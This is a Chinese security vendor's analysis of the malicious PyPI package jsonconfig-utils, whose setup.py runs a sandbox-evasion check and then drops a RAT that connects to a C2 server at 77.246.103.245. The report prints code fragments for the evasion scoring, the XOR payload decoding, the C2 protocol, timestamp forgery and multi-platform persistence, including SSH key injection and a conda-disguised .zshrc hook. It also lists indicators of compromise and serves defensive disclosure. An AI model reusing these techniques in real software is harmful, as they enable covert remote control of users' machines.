天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils,该包以 JSON 配置工具为掩护,在 setup.py 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT(远程访问木马)载荷、以及跨平台持久化驻留,最终与 C2 服务器建立加密通信,实现对受害主机的远程控制。
“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平台。
1. 包基本信息
| 字段 | 内容 |
|---|---|
| 包名 | jsonconfig-utils |
| 版本 | 1.0.3 |
| 描述 | Lightweight JSON configuration loader with environment variable interpolation |
| 作者邮箱 | config-utils-py@proton.me |
| 声明仓库 | https://github.com/config-utils/jsonconfig-utils |
该包声称是”轻量级JSON配置加载器”,其主模块 jsonconfig_utils.py 中确实实现了 load_config、ConfigDict、validate_schema 等功能性代码,以增强迷惑性。所有恶意逻辑均集中于 setup.py 中,在 pip install 执行 setup.py 时自动触发。
2. 恶意行为概览
setup.py
├── _check() — 反沙箱/反分析环境检测,计算置信分
└── _install() — 主攻击函数(置信分 ≥ 6 时触发)
├── 解码混淆载荷(Base64 + XOR,密钥 0x5A)
├── Windows — 落地 .pyw、计划任务、注册表 Run 键
├── macOS — 落地 .py、LaunchAgent、.zshrc 注入、crontab
└── Linux — 落地 .py、systemd 服务、crontab、SSH 公钥注入(root)
解码后的载荷是一个完整的 RAT Agent,连接 C2 服务器 77[.]246.103.245:443(SSL 加密),上报系统信息并等待远程指令。
3. 反沙箱检测(_check 函数)
攻击者在 _install 执行前通过 _check() 对当前环境进行全面评估,计算一个”置信分”(_s),仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。
3.1 容器与 CI 检测
# ── Container detection ──
if _sys == "Linux":
for _p in ["/.dockerenv", "/run/.containerenv"]:
if os.path.exists(_p): _s -= 5
try:
with open("/proc/1/cgroup") as _f:
_cg = _f.read()
if any(_k in _cg for _k in ["docker", "lxc", "kubepods"]): _s -= 5
except: pass
_hn = platform.node().lower()
for _b in ["sandbox", "scan", "test", "build", "runner", "ci-", "worker", "job-", "temp"]:
if _b in _hn: _s -= 3
if os.environ.get("CI") or os.environ.get("GITHUB_ACTIONS") or os.environ.get("JENKINS_URL"):
_s -= 5
每检测到容器特征或 CI 环境变量,置信分减 3~5 分,直接将沙箱环境的分数压至触发阈值以下。
3.2 硬件与系统活跃度检测
# ── Hardware ──
if os.cpu_count() and os.cpu_count() > 2: _s += 2
# 系统运行时长检测(Linux/macOS/Windows 三路分支)
if _up > 3600: _s += 1
if _up < 300: _s -= 3
# ── User activity ──
# 浏览器目录存在性检测(Chrome/Firefox/Safari/Edge)
if any(os.path.isdir(_b) for _b in _bps): _s += 2
# Shell 历史记录大小检测
if os.path.exists(_hf) and os.path.getsize(_hf) > 2000:
_s += 2; break
elif os.path.exists(_hf) and os.path.getsize(_hf) > 500:
_s += 1; break
# Desktop/Downloads 文件数量检测
if _cnt > 10: _s += 2
elif _cnt > 3: _s += 1
# .gitconfig 和 SSH known_hosts 检测
if os.path.exists(os.path.join(_home, ".gitconfig")): _s += 1
3.3 云元数据服务检测
# ── Cloud metadata ──
try:
import urllib.request
urllib.request.urlopen("http[:]//169.254.169.254/latest/meta-data/", timeout=1)
_s -= 3
except: pass
尝试访问 AWS 实例元数据服务地址(169[.]254.169.254),若可达则判断当前环境为云主机/虚拟机,置信分减 3。
4. 混淆载荷解密
_install 函数中内嵌了一段经 Base64 编码 + XOR 加密(密钥 0x5A)的载荷字符串 _E,通过如下方式解密:
_E = "UDM3KjUoLnopNTk..." # 省略,实际长度约 5KB
_K = 0x5A
_d = bytes([b ^ _K for b in base64.b64decode(_E)])
_code = _d.decode()
解密后得到完整的 Python RAT Agent 源码(见第 5 节),该代码随后被写入磁盘并执行。
5. RAT 载荷分析
解密后的载荷实现了一个完整的远控代理(RAT Agent),核心功能如下:
5.1 C2 通信
H="77.246.103.245"
P=443
HB=15 # 心跳间隔(秒)
RB=5 # 初始重连等待(秒)
RM=120 # 最大重连等待(秒)
def sm(s,m):
# 发送消息:4字节大端长度头 + JSON 数据体
d=json.dumps(m).encode()
s.sendall(struct.pack('>I',len(d))+d)
def rm(s,t=45):
# 接收消息:读取4字节长度头,再读取消息体(最大 10MB)
...
return json.loads(d)
代理连接固定 C2 地址 77.246.103.245:443,使用 SSL/TLS 加密通信,通过自定义的长度前缀 JSON 协议收发指令,心跳间隔 15 秒,断线后指数退避重连(最长 120 秒)。
5.2 主机信息收集与上报
def gi():
i={"hostname":"?","username":"?","os_type":"?","os_info":"","pid":os.getpid()}
try:i["hostname"]=platform.node()
except:pass
try:i["username"]=os.environ.get("USER",os.environ.get("USERNAME","?"))
except:pass
...
上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。
5.3 进程隐藏
# Windows:隐藏控制台窗口
if platform.system()=="Windows":
import ctypes
w=ctypes.windll.kernel32.GetConsoleWindow()
if w:ctypes.windll.user32.ShowWindow(w,0)
ctypes.windll.kernel32.FreeConsole()
# Linux/macOS:双 fork 守护进程化
else:
if os.fork()>0:sys.exit(0)
os.setsid()
if os.fork()>0:sys.exit(0)
在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台;在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程,脱离终端。
6. 多平台持久化
6.1 Windows
# 落地路径:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw
_dir = os.path.join(os.environ.get("LOCALAPPDATA","C:\\Users\\Public"),
"Microsoft","Windows","INetCache","IE")
_fp = os.path.join(_dir, "msedge_update.pyw")
with open(_fp, "w") as f:
f.write(_code)
# 设置隐藏+系统属性
subprocess.run(["attrib","+H","+S",_fp], capture_output=True)
# 时间戳伪造:对齐 cmd.exe 的时间戳
_ref = os.path.join(os.environ.get("WINDIR","C:\\Windows"),"System32","cmd.exe")
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
# 计划任务(ONLOGON,最高权限)
subprocess.run(["schtasks","/Create","/TN","\\Microsoft\\Windows\\WindowsUpdate\\AU_Maint",
"/TR",_tr,"/SC","ONLOGON","/F","/RL","HIGHEST"], capture_output=True)
# 注册表 Run 键
k=winreg.OpenKey(winreg.HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,winreg.KEY_SET_VALUE)
winreg.SetValueEx(k,"NGenTask",0,winreg.REG_SZ,_tr)
- 载荷伪装为
msedge_update.pyw(仿冒 Microsoft Edge 更新程序),存放于 INetCache 目录 - 设置隐藏+系统文件属性,普通用户不可见
- 时间戳对齐系统
cmd.exe,干扰取证分析 - 双重持久化:计划任务(用户登录时以最高权限启动)+ 注册表 Run 键
- 使用
pythonw.exe配合CREATE_NO_WINDOW(0x08000000)标志启动,无任何可见窗口
6.2 macOS
# 落地路径:~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py
_dir = os.path.join(_home,"Library",".Caches",".com.apple.cloudd")
_fp = os.path.join(_dir,"cloudd_helper.py")
# 时间戳伪造:对齐 /usr/bin/login
_ref = "/usr/bin/login"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))
# LaunchAgent 持久化
_pd = {"Label":"com.apple.icloud.cloudd",
"ProgramArguments":[_py,_fp],
"RunAtLoad":True,
"KeepAlive":{"SuccessfulExit":False},
"StandardOutPath":"/dev/null",
"StandardErrorPath":"/dev/null"}
with open(_plist,"wb") as f:
plistlib.dump(_pd, f)
subprocess.Popen(["launchctl","load","-w",_plist], ...)
# .zshrc 注入(伪装为 conda 初始化块)
_block = "\n# >>> conda initialize >>>\n"
_block += "# !! Contents within this block are managed by 'conda init' !!\n"
_block += f"( {_py} {_fp} &>/dev/null & ) 2>/dev/null\n"
_block += "# <<< conda initialize <<<\n"
# crontab 兜底
_ct=_ct.rstrip()+"\n@reboot "+_py+" "+_fp+" &>/dev/null &\n"
- 载荷伪装为
cloudd_helper.py,目录名.com.apple.cloudd仿冒苹果 iCloud 守护进程 - 时间戳同步至系统
/usr/bin/login,目录时间戳也一并伪造 - 三重持久化:LaunchAgent(系统级)+
.zshrc/.zprofile注入 + crontab@reboot .zshrc注入内容伪装为 Conda 初始化代码块,极难被普通用户察觉
6.3 Linux
# 落地路径(依权限)
if _is_root:
_dir = "/usr/lib/systemd/.systemd-journal-gcd" # root
else:
_dir = os.path.join(_home,".local","share",".systemd-cache") # 普通用户
# 时间戳伪造:对齐 /bin/ls
_ref = "/bin/ls"
_st = os.stat(_ref)
os.utime(_fp, (_st.st_atime, _st.st_mtime))
os.utime(_dir, (_st.st_atime, _st.st_mtime))
# SSH 公钥注入(仅 root)
_pk = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...(省略)... ops"
with open("/root/.ssh/authorized_keys","a") as f: f.write("\n"+_pk+"\n")
# systemd 服务
_svc = f"[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart={_py} {_fp}\nRestart=always\nRestartSec=30\n..."
subprocess.run(["systemctl","enable",_sn], ...)
subprocess.run(["systemctl","start",_sn], ...)
# crontab(重启 + 每6小时检活)
_ct+="@reboot "+_py+" "+_fp+" &>/dev/null &\n"
_ct+="*/360 * * * * pgrep -f "+os.path.basename(_fp)+" || "+_py+" "+_fp+" &>/dev/null &\n"
# /etc/profile.d shell 劫持(仅 root)
_script = f"#!/bin/sh\n# System locale configuration\npgrep -f {os.path.basename(_fp)} >/dev/null 2>&1 || {_py} {_fp} &>/dev/null &\n"
with open("/etc/profile.d/locale-setup.sh", "w") as f: f.write(_script)
- 落地文件名
journald-gc.py(root)/cache-gc.py(普通用户),模拟 systemd 内部组件 - 时间戳对齐系统
/bin/ls,目录时间戳同步 - root 专属攻击:SSH 公钥注入 — 将攻击者 RSA 公钥(标签
ops)写入/root/.ssh/authorized_keys,实现永久 SSH 后门,独立于 RAT 存活 - 四重持久化:systemd 服务 + crontab(重启+定时检活)+
/etc/profile.d/locale-setup.sh全局 shell 脚本劫持(root) - 文件
/etc/profile.d/locale-setup.sh伪装为”系统区域设置配置”,任何用户登录 shell 时均会触发
7. 攻击链总结
pip install jsonconfig-utils
│
▼
setup.py 执行
│
├─► _check() 环境评分
│ ├── 容器/CI/云环境 → 减分 → 分数 < 6 → 终止
│ └── 真实用户主机 → 分数 ≥ 6 → 继续
│
▼
_install() 触发
│
├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码
│
├─► Windows: 落地 msedge_update.pyw
│ ├── 计划任务 AU_Maint(ONLOGON + HIGHEST)
│ ├── 注册表 Run 键 NGenTask
│ └── 立即以 pythonw.exe 静默启动
│
├─► macOS: 落地 cloudd_helper.py
│ ├── LaunchAgent com.apple.icloud.cloudd
│ ├── .zshrc/.zprofile 注入(conda 伪装)
│ ├── crontab @reboot
│ └── 立即后台启动
│
└─► Linux: 落地 journald-gc.py / cache-gc.py
├── SSH 公钥注入(root)
├── systemd 服务(enable + start)
├── crontab(@reboot + */360min 检活)
├── /etc/profile.d/locale-setup.sh(root)
└── 立即 start_new_session 启动
│
▼
RAT Agent 运行
│
└─► SSL 连接 77.246.103.245:443
├── 上报主机信息
├── 心跳(15s)
└── 等待并执行远程指令
8. 关键 IoC(失陷指标)
| 类型 | 值 |
|---|---|
| C2 IP | 77[.]246.103.245 |
| C2 端口 | 443(SSL) |
| SSH 公钥(Linux root) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvG+mB...ops |
| 落地文件(Windows) | %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw |
| 落地文件(macOS) | ~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py |
| 落地文件(Linux root) | /usr/lib/systemd/.systemd-journal-gcd/journald-gc.py |
| 落地文件(Linux user) | ~/.local/share/.systemd-cache/cache-gc.py |
| 计划任务名(Windows) | \Microsoft\Windows\WindowsUpdate\AU_Maint |
| 注册表键(Windows) | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NGenTask |
| LaunchAgent(macOS) | ~/Library/LaunchAgents/com.apple.icloud.cloudd.plist |
| Systemd 服务(Linux root) | systemd-journal-gcd.service |
| Systemd 服务(Linux user) | cache-gc.service |
| Profile 脚本(Linux root) | /etc/profile.d/locale-setup.sh |
9. 总结
jsonconfig-utils 是一个具有较高技术水准的供应链攻击包,攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段:
- 伪装合法功能:主模块
jsonconfig_utils.py实现了完整的 JSON 配置工具功能,以降低安全扫描工具和人工审查的警惕性。 - 精密反沙箱检测:通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分,仅在确认为真实用户环境时才触发攻击,有效规避自动化检测。
- 双重混淆载荷:RAT 代码经 Base64 + XOR 双重加密存储,静态特征难以识别。
- 跨平台攻击:同一个
setup.py针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。 - 多重持久化 + 时间戳伪造:每个平台均部署 2 种以上持久化机制互为兜底,并对落地文件的时间戳进行伪造,增加取证难度。
- SSH 后门(Linux root):在获得 root 权限的 Linux 环境中额外注入 SSH 公钥,即使 RAT 进程被清除,攻击者仍可通过 SSH 重新进入系统。
建议用户避免安装不可信的第三方 Python 包,天问Python供应链威胁监测模块将持续对 PyPI 进行监测。
恶意包信息
| 包名 | 版本 | 平台 | 作者 |
|---|---|---|---|
| jsonconfig-utils | 1.0.3 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.4 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.5 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.6 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.7 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.8 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.9 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.10 | Windows / macOS / Linux | isavoxi580 |
| jsonconfig-utils | 1.0.11 | Windows / macOS / Linux | isavoxi580 |